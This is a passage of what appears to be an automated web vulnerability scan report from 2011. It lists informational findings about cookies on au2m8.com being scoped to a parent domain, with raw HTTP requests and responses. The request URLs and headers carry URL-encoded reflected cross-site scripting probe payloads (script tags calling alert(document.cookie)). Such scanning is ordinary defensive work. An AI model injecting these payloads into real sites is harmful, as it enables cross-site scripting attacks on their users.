Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:53:39 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:53:39 GMT
Last-Modified: Sun, 06 Feb 2011 16:53:39 GMT
Set-Cookie: bpl1297014819=1297011219; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:39 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11293

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:53:39 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.169. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012335=1297008735; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:15 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:12:15 GMT
Last-Modified: Sun, 06 Feb 2011 16:12:15 GMT
Set-Cookie: bpl1297012335=1297008735; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:15 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11326

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:12:15 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.170. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014742=1297011142; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:22 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/10711909126097144647865.htm?vs=1&r=www.kledy.es%2F&s=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&t=143521
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:52:22 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:52:22 GMT
Last-Modified: Sun, 06 Feb 2011 16:52:22 GMT
Set-Cookie: bpl1297014742=1297011142; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:22 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11233

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:52:22 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.171. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012351=1297008751; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:31 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:31 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:12:31 GMT
Last-Modified: Sun, 06 Feb 2011 16:12:31 GMT
Set-Cookie: bpl1297012351=1297008751; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:31 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11341

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:12:31 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.172. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297013577=1297009977; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:32:57 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:32:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:32:57 GMT
Last-Modified: Sun, 06 Feb 2011 16:32:57 GMT
Set-Cookie: bpl1297013577=1297009977; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:32:57 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11441

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:32:57 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.173. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297011707=1297008107; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:01:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/ HTTP/1.1
Host: www.au2m8.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bpl1296950982=1296947382; countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1296950951=1296947351; bpl1296950905=1296947305; bpl1297002333=1296998733; bpl1296950890=1296947290; bpl1296950921=1296947321; bpl1297002238=1296998638; bpl1297002318=1296998718; videoID=expired; bpl1297002302=1296998702; bpl1297002287=1296998687; bpl1296950936=1296947336; j2playlist=4881; auto=expired; bpl1296950967=1296947367; playlist=5731%2C4881; bpl1297002348=1296998748;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:01:47 GMT
Last-Modified: Sun, 06 Feb 2011 16:01:47 GMT
Set-Cookie: bpl1297011707=1297008107; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:01:47 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12674

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:01:47 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.174. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297013518=1297009918; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:31:58 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:31:58 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:31:58 GMT
Last-Modified: Sun, 06 Feb 2011 16:31:58 GMT
Set-Cookie: bpl1297013518=1297009918; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:31:58 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11468

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:31:58 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.175. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950952=1296947352; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; bpl1296950936=1296947336; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:09:12 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:09:12 GMT
Last-Modified: Sat, 05 Feb 2011 23:09:12 GMT
Set-Cookie: bpl1296950952=1296947352; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:09:12 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11436

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:09:12 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.176. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014810=1297011210; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:30 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:53:30 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:53:30 GMT
Last-Modified: Sun, 06 Feb 2011 16:53:30 GMT
Set-Cookie: bpl1297014810=1297011210; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:30 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11278

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:53:30 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.177. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

